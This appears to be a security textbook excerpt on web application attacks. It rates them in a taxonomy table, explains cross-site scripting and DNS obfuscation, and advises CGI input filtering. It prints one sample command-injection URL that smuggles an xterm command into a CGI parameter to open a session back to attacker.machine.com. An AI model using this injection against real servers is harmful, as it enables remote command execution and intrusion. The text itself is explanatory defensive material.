Table 39 Web Application

Attack name	Web application
Class/subclass	Manipulate/application manipulation
Sample implementations	Cross-site scripting Insecure CGI applications
Prerequisites	Direct access
Pertinent vulnerability	Software
Typical use	Variable
Attack result	Increased access and disclosure of information
Likely follow-up attack	Read and composite
OSI layers	7
Detection	IDS and application security
Protection	Application security
Detection difficulty	3
Ease of use	3
Frequency	4
Impact	3
Overall rating	33

Web application attacks are quite varied. Cross-site scripting and insecure CGIs are just two examples. In cross-site scripting, malicious information is embedded into a URL that the victim then clicks. This is an attack that could affect your internal users if they click on a malicious link somewhere on the Internet. Hostile code can be embedded in links on web pages, which can cause the user to inadvertently disclose information. Cross-site scripting is an interesting web attack because there isn't a clear way to fix the problem. The client browser, the server hosting the malicious link, and the attacker who generated the malicious link all bear some of the blame. Stopping your users from becoming victims of cross-site scripting attacks is more about educating them on how to spot malicious URLs than anything else. More information about cross-site scripting can be found in the cross-site scripting FAQ at the following URL (no malicious code is embedded, I promise): http://www.cgisecurity.com/articles/xss-faq.shtml.

NOTE

Cross-site scripting is one of many attacks that take advantage of obfuscation. Some web browsers ship with the status bar (the part of the browser at the bottom that gives you URL details) disabled. With this turned off, users never see the address of the actual site they are going to until after they click the link. Similarly, DNS provides an attacker with obfuscation opportunities. If the attacker can tell clients that a specific DNS name corresponds to an attacker's IP address, the clients will think they are talking to a legitimate website, but in reality they are talking to the attacker's machine. Because the real IP address is never displayed to the client browsers, the clients will likely be unaware of the attack. The average web user would never notice these discrepancies, even if they were made more apparent through the browser.

Insecure CGI applications can be an early entrant for the attacker looking to compromise a web server. Whenever you fill out a form or enter your address on a website, chances are you are using some form of CGI script. Properly written CGI scripts can be secure and, among other things, should not accept any data types that they have no reason to receive. For example, if CGI programs request user addresses, they must allow users to type the following characters: az, AZ, 09, period, comma. The program, however, need not allow /\%$() and so on. Poorly written CGI applications can allow attackers to execute commands on the web server by using the privileges of the web server itself. One attack might cause an X terminal to be opened up from the web server to the attacker. Such an attack might look like this:

http://www.victim27.com/cgi-bin/badcgi.cgi?fqdn-%0A/usr/X11R6/bin/xterm%20-

display%20attacker.machine.com

Toward the end of the URL you can see the command that is passed to the UNIX shell: xterm display attacker.machine.com. This opens an xterm from the server to the attacker. Even if Telnet and Secure Shell (SSH) aren't allowed inbound, the server often can initiate outbound whatever new communication the attacker requires. To stop these types of attacks, CGI programmers must configure their programs to follow a tenet that most network security designers have known for a while: "Expressly permit, implicitly deny." For more information on good programming practices with CGI applications, refer to the following URL: http://www.w3.org/Security/Faq/wwwsf4.html.

Continue reading here: TCP Spoofing

Was this article helpful?

0 0